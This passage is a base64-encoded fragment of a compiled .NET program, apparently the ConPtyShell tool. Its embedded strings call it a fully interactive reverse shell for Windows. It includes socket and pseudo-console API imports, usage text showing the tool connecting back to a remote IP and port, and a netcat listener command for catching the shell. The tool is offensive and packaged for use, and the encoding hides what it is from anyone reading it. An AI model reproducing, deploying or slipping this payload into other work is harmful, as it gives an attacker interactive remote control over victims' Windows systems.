nZlZDJfMQBVbmlxdWVQcm9jZXNzSWQASW5oZXJpdGVkRnJvbVVuaXF1ZVByb2Nlc3NJZABOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzAEdldFBhcmVudFByb2Nlc3MAZXJyb3JTdHJpbmcARU5BQkxFX1ZJUlRVQUxfVEVSTUlOQUxfUFJPQ0VTU0lORwBESVNBQkxFX05FV0xJTkVfQVVUT19SRVRVUk4AUFJPQ19USFJFQURfQVRUUklCVVRFX1BTRVVET0NPTlNPTEUARVhURU5ERURfU1RBUlRVUElORk9fUFJFU0VOVABDUkVBVEVfTk9fV0lORE9XAFNUQVJURl9VU0VTVERIQU5ETEVTAEJVRkZFUl9TSVpFX1BJUEUASU5GSU5JVEUAU1dfSElERQBHRU5FUklDX1JFQUQAR0VORVJJQ19XUklURQBGSUxFX1NIQVJFX1JFQUQARklMRV9TSEFSRV9XUklURQBGSUxFX0FUVFJJQlVURV9OT1JNQUwAT1BFTl9FWElTVElORwBTVERfSU5QVVRfSEFORExFAFNURF9PVVRQVVRfSEFORExFAFNURF9FUlJPUl9IQU5ETEUASW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0AFVwZGF0ZVByb2NUaHJlYWRBdHRyaWJ1dGUAQ3JlYXRlUHJvY2Vzc1cAVGVybWluYXRlUHJvY2VzcwBTZXRTdGRIYW5kbGUAR2V0U3RkSGFuZGxlAENyZWF0ZVBpcGUAQ3JlYXRlRmlsZQBSZWFkRmlsZQBXcml0ZUZpbGUAQ3JlYXRlUHNldWRvQ29uc29sZQBDbG9zZVBzZXVkb0NvbnNvbGUAU2V0Q29uc29sZU1vZGUAR2V0Q29uc29sZU1vZGUAQWxsb2NDb25zb2xlAEZyZWVDb25zb2xlAFNob3dXaW5kb3cAR2V0Q29uc29sZVdpbmRvdwBHZXRNb2R1bGVIYW5kbGUAR2V0UHJvY0FkZHJlc3MAU3lzdGVtLk5ldC5Tb2NrZXRzAEFkZHJlc3NGYW1pbHkAU29ja2V0VHlwZQBQcm90b2NvbFR5cGUAY29ubmVjdABodG9ucwBpbmV0X2FkZHIAY2xvc2Vzb2NrZXQAcmVjdgBzZW5kAE50U3VzcGVuZFByb2Nlc3MATnRSZXN1bWVQcm9jZXNzAGNvbm5lY3RSZW1vdGUAVHJ5UGFyc2VSb3dzQ29sc0Zyb21Tb2NrZXQAQ3JlYXRlUGlwZXMASW5pdENvbnNvbGUAUmVzdG9yZVN0ZEhhbmRsZXMARW5hYmxlVmlydHVhbFRlcm1pbmFsU2VxdWVuY2VQcm9jZXNzaW5nAENyZWF0ZVBzZXVkb0NvbnNvbGVXaXRoUGlwZXMAQ29uZmlndXJlUHJvY2Vzc1RocmVhZABSdW5Qcm9jZXNzAENyZWF0ZUNoaWxkUHJvY2Vzc1dpdGhQc2V1ZG9Db25zb2xlAFRocmVhZFJlYWRQaXBlV3JpdGVTb2NrZXQAU3lzdGVtLlRocmVhZGluZwBUaHJlYWQAU3RhcnRUaHJlYWRSZWFkUGlwZVdyaXRlU29ja2V0AFRocmVhZFJlYWRTb2NrZXRXcml0ZVBpcGUAU3RhcnRUaHJlYWRSZWFkU29ja2V0V3JpdGVQaXBlAFNwYXduQ29uUHR5U2hlbGwAU3RhcnR1cEluZm8AbHBBdHRyaWJ1dGVMaXN0AGNiAGxwUmVzZXJ2ZWQAbHBEZXNrdG9wAGxwVGl0bGUAZHdYAGR3WQBkd1hTaXplAGR3WVNpemUAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAGR3RmlsbEF0dHJpYnV0ZQBkd0ZsYWdzAHdTaG93V2luZG93AGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyAGhTdGRJbnB1dABoU3RkT3V0cHV0AGhTdGRFcnJvcgBoUHJvY2VzcwBoVGhyZWFkAGR3UHJvY2Vzc0lkAGR3VGhyZWFkSWQAbkxlbmd0aABscFNlY3VyaXR5RGVzY3JpcHRvcgBiSW5oZXJpdEhhbmRsZQBYAFkAaGVscABIZWxwUmVxdWlyZWQAQ2hlY2tBcmdzAERpc3BsYXlIZWxwAENoZWNrUmVtb3RlSXBBcmcAQ2hlY2tJbnQAUGFyc2VSb3dzAFBhcnNlQ29scwBQYXJzZUNvbW1hbmRMaW5lAENvblB0eVNoZWxsTWFpbgBNYWluAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBDb25QdHlTaGVsbF9uZXQyAG1lc3NhZ2UAU3RyaW5nAENvbmNhdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbABoT2JqZWN0AGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAS2VybmVsMzIuZGxsAGxwVGhyZWFkQXR0cmlidXRlcwBkd1N0YWNrU2l6ZQBscFN0YXJ0QWRkcmVzcwBscFBhcmFtZXRlcgBkd0NyZWF0aW9uRmxhZ3MAbHBUaHJlYWRJZABPdXRBdHRyaWJ1dGUAdGhyZWFkUGFyYW1zAHRIYW5kbGUASW50UHRyAFplcm8Ab2JqZWN0AG1ldGhvZABscFBhcmFtAGNhbGxiYWNrAHJlc3VsdAB3czJfMzIuZGxsAHdWZXJzaW9uUmVxdWVzdGVkAHdzYURhdGEAV1MyXzMyLkRMTABzb2NrZXRIYW5kbGUAcHJvY2Vzc0lkAHBpbm5lZEJ1ZmZlcgBhZGRyZXNzRmFtaWx5AEluQXR0cmlidXRlAHNvY2tldFR5cGUAcHJvdG9jb2xUeXBlAGxwUHJvdG9jb2xJbmZvAGdyb3VwMQBzAG5hbWUAbmFtZWxlbgBwcm9jZXNzQWNjZXNzAE1hcnNoYWxBc0F0dHJpYnV0ZQBVbm1hbmFnZWRUeXBlAGhTb3VyY2VQcm9jZXNzSGFuZGxlAGhTb3VyY2VIYW5kbGUAaFRhcmdldFByb2Nlc3NIYW5kbGUAbHBUYXJnZXRIYW5kbGUAZHdEZXNpcmVkQWNjZXNzAGR3T3B0aW9ucwBudGRsbC5kbGwAb2JqZWN0SGFuZGxlAGluZm9ybWF0aW9uQ2xhc3MAaW5mb3JtYXRpb25QdHIAaW5mb3JtYXRpb25MZW5ndGgAcmV0dXJuTGVuZ3RoAFN5c3RlbUluZm9ybWF0aW9uQ2xhc3MAU3lzdGVtSW5mb3JtYXRpb24AU3lzdGVtSW5mb3JtYXRpb25MZW5ndGgAaW5mb0NsYXNzAGluZm9MZW5ndGgATWFyc2hhbABBbGxvY0hHbG9iYWwARnJlZUhHbG9iYWwAaGFuZGxlAEludDMyAFR5cGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAU2l6ZU9mAHRhcmdldFByb2Nlc3MAZ2V0X0lkAG9wX0VxdWFsaXR5AFRvU3RyaW5nAENvbnNvbGUAV3JpdGVMaW5lAFJlYWRJbnRQdHIAVG9JbnQ2NABnZXRfU2l6ZQBQdHJUb1N0cnVjdHVyZQBvcF9FeHBsaWNpdABvcF9JbmVxdWFsaXR5AFB0clRvU3RyaW5nVW5pAHBhcmVudFByb2Nlc3MARm9ybWF0AFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAEZsYWdzQXR0cmlidXRlAHByb2Nlc3NIYW5kbGUAcHJvY2Vzc0luZm9ybWF0aW9uQ2xhc3MAcHJvY2Vzc0luZm9ybWF0aW9uAHByb2Nlc3NJbmZvcm1hdGlvbkxlbmd0aABnZXRfSGFuZGxlAGlkAEdldFByb2Nlc3NCeUlkAFRvSW50MzIAQXJndW1lbnRFeGNlcHRpb24AZHdBdHRyaWJ1dGVDb3VudABscFNpemUAYXR0cmlidXRlAGxwVmFsdWUAY2JTaXplAGxwUHJldmlvdXNWYWx1ZQBscFJldHVyblNpemUAbHBBcHBsaWNhdGlvbk5hbWUAbHBDb21tYW5kTGluZQBscFByb2Nlc3NBdHRyaWJ1dGVzAGJJbmhlcml0SGFuZGxlcwBscEVudmlyb25tZW50AGxwQ3VycmVudERpcmVjdG9yeQBscFN0YXJ0dXBJbmZvAGxwUHJvY2Vzc0luZm9ybWF0aW9uAHVFeGl0Q29kZQBuU3RkSGFuZGxlAGhSZWFkUGlwZQBoV3JpdGVQaXBlAGxwUGlwZUF0dHJpYnV0ZXMAblNpemUAbHBGaWxlTmFtZQBkd1NoYXJlTW9kZQBTZWN1cml0eUF0dHJpYnV0ZXMAZHdDcmVhdGlvbkRpc3Bvc2l0aW9uAGR3RmxhZ3NBbmRBdHRyaWJ1dGVzAGhUZW1wbGF0ZUZpbGUAaEZpbGUAbHBCdWZmZXIAbk51bWJlck9mQnl0ZXNUb1JlYWQAbHBOdW1iZXJPZkJ5dGVzUmVhZABscE92ZXJsYXBwZWQAbk51bWJlck9mQnl0ZXNUb1dyaXRlAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4Ac2l6ZQBoSW5wdXQAaE91dHB1dABwaFBDAGhQQwBoQ29uc29sZUhhbmRsZQBtb2RlAHVzZXIzMi5kbGwAaFduZABuQ21kU2hvdwBscE1vZHVsZU5hbWUAa2VybmVsMzIAaE1vZHVsZQBwcm9jTmFtZQBwcm90b2NvbEluZm8AZ3JvdXAAZmxhZ3MAYWRkcgBhZGRyc2l6ZQBob3N0c2hvcnQAY3AAU29ja2V0AGJ1ZgBsZW4AcmVtb3RlSXAAcmVtb3RlUG9ydABDb252ZXJ0AHNoZWxsU29ja2V0AHJvd3MAY29scwBTbGVlcABCeXRlAFN5c3RlbS5UZXh0AEVuY29kaW5nAGdldF9BU0NJSQBHZXRTdHJpbmcAQ2hhcgBTcGxpdABUcmltAFRyeVBhcnNlAElucHV0UGlwZVJlYWQASW5wdXRQaXBlV3JpdGUAT3V0cHV0UGlwZVJlYWQAT3V0cHV0UGlwZVdyaXRlAG9sZFN0ZEluAG9sZFN0ZE91dABvbGRTdGRFcnIAaGFuZGxlUHNldWRvQ29uc29sZQBDb25QdHlJbnB1dFBpcGVSZWFkAENvblB0eU91dHB1dFBpcGVXcml0ZQBhdHRyaWJ1dGVzAEdldExhc3RXaW4zMkVycm9yAHNJbmZvRXgAY29tbWFuZExpbmUAUGFyYW1ldGVyaXplZFRocmVhZFN0YXJ0AFN0YXJ0AGhDaGlsZFByb2Nlc3MAdXBncmFkZVNoZWxsAEFib3J0AHBhcmFtAGFyZ3VtZW50cwBTeXN0ZW0uSU8AVGV4dFdyaXRlcgBnZXRfT3V0AFdyaXRlAGlwU3RyaW5nAFN5c3RlbS5OZXQASVBBZGRyZXNzAGFyZwBhcmdzAENvbnRhaW5zAC5jY3RvcgAAAAAANVsALQBdACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAEUAeABjAGUAcAB0AGkAbwBuADoAIAABSUMAYQBuAG4AbwB0ACAAbwBwAGUAbgAgAHQAYQByAGcAZQB0ACAAcAByAG8AYwBlAHMAcwAgAHcAaQB0AGgAIABwAGkAZAAgAAA3IABmAG8AcgAgAEQAdQBwAGwAaQBjAGEAdABlAEgAYQBuAGQAbABlACAAYQBjAGMAZQBzAHMAABdcAEQAZQB2AGkAYwBlAFwAQQBmAGQAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAVABhAHIAZwBlAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAUABhAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHFOAG8AIABcAEQAZQB2AGkAYwBlAFwAQQBmAGQAIABvAGIAagBlAGMAdABzACAAZgBvAHUAbgBkAC4AIABTAG8AYwBrAGUAdAAgAGQAdQBwAGwAaQBjAGEAdABpAG8AbgAgAGYAYQBpAGwAZQBkAC4AAE1XAFMAQQBTAHQAYQByAHQAdQBwACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAEtXAFMAQQBEAHUAcABsAGkAYwBhAHQAZQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAAlIABhAG4AZAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAADlXAFMAQQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAA3UwBwAGUAYwBpAGYAaQBlAGQAIABwAG8AcgB0ACAAaQBzACAAaQBuAHYAYQBsAGkAZAA6ACAAAE1XAFMAQQBDAG8AbgBuAGUAYwB0ACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAD1DAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAdABoAGUAIABJAG4AcAB1AHQAUABpAHAAZQAAP0MAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIAB0AGgAZQAgAE8AdQB0AHAAdQB0AFAAaQBwAGUAAA9DAE8ATgBPAFUAVAAkAAANQwBPAE4ASQBOACQAADVDAG8AdQBsAGQAIABuAG8AdAAgAGcAZQB0ACAAYwBvAG4AcwBvAGwAZQAgAG0AbwBkAGUAAFlDAG8AdQBsAGQAIABuAG8AdAAgAGUAbgBhAGIAbABlACAAdgBpAHIAdAB1AGEAbAAgAHQAZQByAG0AaQBuAGEAbAAgAHAAcgBvAGMAZQBzAHMAaQBuAGcAAICBQwBvAHUAbABkACAAbgBvAHQAIABjAGEAbABjAHUAbABhAHQAZQAgAHQAaABlACAAbgB1AG0AYgBlAHIAIABvAGYAIABiAHkAdABlAHMAIABmAG8AcgAgAHQAaABlACAAYQB0AHQAcgBpAGIAdQB0AGUAIABsAGkAcwB0AC4AIAAAQ0MAbwB1AGwAZAAgAG4AbwB0ACAAcwBlAHQAIAB1AHAAIABhAHQAdAByAGkAYgB1AHQAZQAgAGwAaQBzAHQALgAgAABdQwBvAHUAbABkACAAbgBvAHQAIABzAGUAdAAgAHAAcwBlAHUAZABvAGMAbwBuAHMAbwBsAGUAIAB0AGgAcgBlAGEAZAAgAGEAdAB0AHIAaQBiAHUAdABlAC4AIAAANUMAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIABwAHIAbwBjAGUAcwBzAC4AIAAAAQARawBlAHIAbgBlAGwAMwAyAAAnQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAAgJUNAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAbwB1AG4AZAAhACAAUwBwAGEAdwBuAGkAbgBnACAAYQAgAGYAdQBsAGwAeQAgAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAHMAaABlAGwAbAANAAoAAFV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAbwBuAG4AZQBjAHQAIAB0AG8AIABpAHAAIAB7ADEAfQAgAG8AbgAgAHAAbwByAHQAIAB7ADIAfQAAOXsAewB7AEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgB9AH0AfQANAAoAAGV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAcABzAHUAZQBkAG8AIABjAG8AbgBzAG8AbABlAC4AIABFAHIAcgBvAHIAIABDAG8AZABlACAAewAxAH0AAIC5QwBvAHUAbABkACAAbgBvAHQAIAB1AHAAZwByAGEAZABlACAAcwBoAGUAbABsACAAdABvACAAZgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAYgBlAGMAYQB1AHMAZQAgAEMAbwBuAFAAVABZACAAaQBzACAAbgBvAHQAIABjAG8AbQBwAGEAdABpAGIAbABlACAAbwBuACAAdABoAGkAcwAgAHMAeQBzAHQAZQBtAACArw0ACgBDAHIAZQBhAHQAZQBQAHMAZQB1AGQAbwBDAG8AbgBzAG8AbABlACAAZgB1AG4AYwB0AGkAbwBuACAAbgBvAHQAIABmAG8AdQBuAGQAIQAgAFMAcABhAHcAbgBpAG4AZwAgAGEAIABuAGUAdABjAGEAdAAtAGwAaQBrAGUAIABpAG4AdABlAHIAYQBjAHQAaQB2AGUAIABzAGgAZQBsAGwALgAuAC4ADQAKAAE5QwBvAG4AUAB0AHkAUwBoAGUAbABsACAAawBpAG4AZABsAHkAIABlAHgAaQB0AGUAZAAuAA0ACgAABS0AaAABDS0ALQBoAGUAbABwAAEFLwA/AACAuQ0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAE4AbwB0ACAAZQBuAG8AdQBnAGgAIABhAHIAZwB1AG0AZQBuAHQAcwAuACAAMgAgAEEAcgBnAHUAbQBlAG4AdABzACAAcgBlAHEAdQBpAHIAZQBkAC4AIABVAHMAZQAgAC0ALQBoAGUAbABwACAAZgBvAHIAIABhAGQAZABpAHQAaQBvAG4AYQBsACAAaABlAGwAcAAuAA0ACgABSw0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAEkAbgB2AGEAbABpAGQAIAByAGUAbQBvAHQAZQBJAHAAIAB2AGEAbAB1AGUAAEsNAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsADoAIABJAG4AdgBhAGwAaQBkACAAaQBuAHQAZQBnAGUAcgAgAHYAYQBsAHUAZQAgAAAdcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAAAPdQBwAGcAcgBhAGQAZQAAjqUNAAoADQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgAC0AIABGAHUAbABsAHkAIABJAG4AdABlAHIAYQBjAHQAaQB2AGUAIABSAGUAdgBlAHIAcwBlACAAUwBoAGUAbABsACAAZgBvAHIAIABXAGkAbgBkAG8AdwBzACAADQAKAEEAdQB0AGgAbwByADoAIABzAHAAbABpAG4AdABlAHIAXwBjAG8AZABlAA0ACgBMAGkAYwBlAG4AcwBlADoAIABNAEkAVAANAAoAUwBvAHUAcgBjAGUAOgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AYQBuAHQAbwBuAGkAbwBDAG8AYwBvAC8AQwBvAG4AUAB0AHkAUwBoAGUAbABsAA0ACgAgACAAIAAgAA0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAIAAtACAARgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAAgAGYAbwByACAAVwBpAG4AZABvAHcAcwANAAoADQAKAFAAcgBvAHAAZQByAGwAeQAgAHMAZQB0ACAAdABoAGUAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAdgBhAGwAdQBlAHMALgAgAFkAbwB1ACAAYwBhAG4AIAByAGUAdAByAGkAZQB2AGUAIABpAHQAIABmAHIAbwBtAA0ACgB5AG8AdQByACAAdABlAHIAbQBpAG4AYQBsACAAdwBpAHQAaAAgAHQAaABlACAAYwBvAG0AbQBhAG4AZAAgACIAcwB0AHQAeQAgAHMAaQB6AGUAIgAuAA0ACgANAAoAWQBvAHUAIABjAGEAbgAgAGEAdgBvAGkAZAAgAHQAbwAgAHMAZQB0ACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHYAYQBsAHUAZQBzACAAaQBmACAAeQBvAHUAIAByAHUAbgAgAHkAbwB1AHIAIABsAGkAcwB0AGUAbgBlAHIADQAKAHcAaQB0AGgAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZAA6AA0ACgAgACAAIAAgAHMAdAB0AHkAIAByAGEAdwAgAC0AZQBjAGgAbwA7ACAAKABzAHQAdAB5ACAAcwBpAHoAZQA7ACAAYwBhAHQAKQAgAHwAIABuAGMAIAAtAGwAdgBuAHAAIAAzADAAMAAxAA0ACgANAAoASQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAYwBoAGEAbgBnAGUAIAB0AGgAZQAgAGMAbwBuAHMAbwBsAGUAIABzAGkAegBlACAAZABpAHIAZQBjAHQAbAB5ACAAZgByAG8AbQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwADQAKAHkAbwB1ACAAYwBhAG4AIABwAGEAcwB0AGUAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZABzADoADQAKACAAIAAgACAAJAB3AGkAZAB0AGgAPQA4ADAADQAKACAAIAAgACAAJABoAGUAaQBnAGgAdAA9ADIANAANAAoAIAAgACAAIAAkAEgAbwBzAHQALgBVAEkALgBSAGEAdwBVAEkALgBCAHUAZgBmAGUAcgBTAGkAegBlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAAKAAkAHcAaQBkAHQAaAAsACAAJABoAGUAaQBnAGgAdAApAA0ACgAgACAAIAAgACQASABvAHMAdAAuAFUASQAuAFIAYQB3AFUASQAuAFcAaQBuAGQAbwB3AFMAaQB6AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJAB3AGkAZAB0AGgALAAgACQAaABlAGkAZwBoAHQAKQANAAoADQAKAFUAcwBhAGcAZQA6AA0ACgAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAcgBlAG0AbwB0AGUAXwBpAHAAIAByAGUAbQBvAHQAZQBfAHAAbwByAHQAIABbAHIAbwB3AHMAXQAgAFsAYwBvAGwAcwBdACAAWwBjAG8AbQBtAGEAbgBkAGwAaQBuAGUAXQANAAoADQAKAFAAbwBzAGkAdABpAG8AbgBhAGwAIABhAHIAZwB1AG0AZQBuAHQAcwA6AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AaQBwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABpAHAAIAB0AG8AIABjAG8AbgBuAGUAYwB0AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AcABvAHIAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABwAG8AcgB0ACAAdABvACAAYwBvAG4AbgBlAGMAdAANAAoAIAAgACAAIABbAHIAbwB3AHMAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAG8AdwBzACAAcwBpAHoAZQAgAGYAbwByACAAdABoAGUAIABjAG8AbgBzAG8AbABlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAMgA0ACIADQAKACAAIAAgACAAWwBjAG8AbABzAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQwBvAGwAcwAgAHMAaQB6AGUAIABmAG8AcgAgAHQAaABlACAAYwBvAG4AcwBvAGwAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAZgBhAHUAbAB0ADoAIAAiADgAMAAiAA0ACgAgACAAIAAgAFsAYwBvAG0AbQBhAG4AZABsAGkAbgBlAF0AIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAYwBvAG0AbQBhAG4AZABsAGkAbgBlACAAbwBmACAAdABoAGUAIABwAHIAbwBjAGUAcwBzACAAdABoAGEAdAAgAHkAbwB1ACAAYQByAGUAIABnAG8AaQBuAGcAIAB0AG8AIABpAG4AdABlAHIAYQBjAHQADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoARQB4AGEAbQBwAGwAZQBzADoADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEAIAAzADAAIAA5ADAADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAAoAGMAbQBkAC4AZQB4AGUAKQAgAHcAaQB0AGgAIABzAHAAZQBjAGkAZgBpAGMAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAcwBpAHoAZQANAAoAIAAgACAAIAAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAMQAwAC4AMAAuADAALgAyACAAMwAwADAAMQAgADMAMAAgADkAMAAgAGMAbQBkAC4AZQB4AGUADQAKACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIABVAHAAZwByAGEAZABlACAAeQBvAHUAcgAgAGMAdQByAHIAZQBuAHQAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgAHUAcABnAHIAYQBkAGUAIABzAGgAZQBsAGwAIAAzADAAIAA5ADAADQAKACAAIAAgACAAIAAgACAAIAANAAoAAQCnWUqJUXh9TY7y+kxyCA0RAAi3elxWGTTgiQIGDjRbAC0AXQAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgA6ACAAAyAAAQQgAQEOAgYCAgYYBAABAhgFAAIJGAkLAAYYCQkSEBgJEAkEIAEJCQQgAQIYBSACARwYCCADEhkJEh0cBSABCRIZAgYJBAAAAAAEBAAAwAQFAACABCMAAMACBggEAQAAAAQCAAAABBAAAAAHAAIIBhARLAgAAwgYCBARNAsABhgICAgQETQICAMAAAgJAAMIGBAROBAIBwADGBEoAggLAAcCGBgYEBgJAgkDAAAYCgAFCRgRHBgJEAgIAAQJCBgIEAgFAAIYCAgHAAMYGBEcCAUAARgSIQYAAgIYEiECBgcCBgUDBhEcBAMAAAAEBAAAAAMGESQDBhEoBP8PHwAECAAAAAQgAAAABEAAAAAEgAAAAAQAAQAABAACAAAEAAQAAAQAEAAABAAAEAACBgYDBh0JAwYRJQMGETACBgoLAAUIGAgQETwIEAgEAAASIQUAARIhCAUAARIhGDh7AHsAewBDAG8AbgBQAHQAeQBTAGgAZQBsAGwARQB4AGMAZQBwAHQAaQBvAG4AfQB9AH0ADQAKAAQWAAIABAAACAAEAAAACAT/////BAAAAIAEAAAAQAT2////BPX///8E9P///wgABAIYCAgQGAoABwIYCRgYGBgYFQAKAg4OEBFQEBFQAgkYDhARRBARTBEACgIODhgYAgkYDhARSBARTAUAAgIYCQUAAgIIGAQAARgICwAEAhAYEBgQEVAICgAHGA4JCRgJCRgKAAUCGB0FCRAJGAoABQgRVBgYCRAYBAABCBgGAAICGBAJAwAAAgUAAgIYCAQAARgOBQACGBgODAAGGBEpES0RMRgJCAgAAwgYEBFcCAQAAQcHBAABCQ4HAAIIBhARWAgABAgYHQUICQQAAQkYBQACGA4ICAADARgQCRAJCwAEARAYEBgQGBAYCQADARAYEBgQGAYAAwEYGBgDAAABCwAFCBAYEBgQGAkJBgACEUQYGAgAAhFMEBFEDgYAAhFMGA4EAAEBHAYAAhI1GBgHAAMSNRgYGAkABg4OCAkJDgIDBhFIBAABAg4FAAEBHQ4EAAEODgQAAQgOBQABCR0OBQABDh0OBCABAQgFAAIODg4GBwMSEBgJBSABARFZAQIEAAEBGAQHAhgJBgABEmURaQUAAQgSZQMgAAgFAAICGBgDIAAOBgADDg4ODgQAAQEOBAABGBgDIAAKBCABAQoGAAIcGBJlBAABCBwEAAEYCgQAAQ4YBQACAg4OFAcOESAKGBgY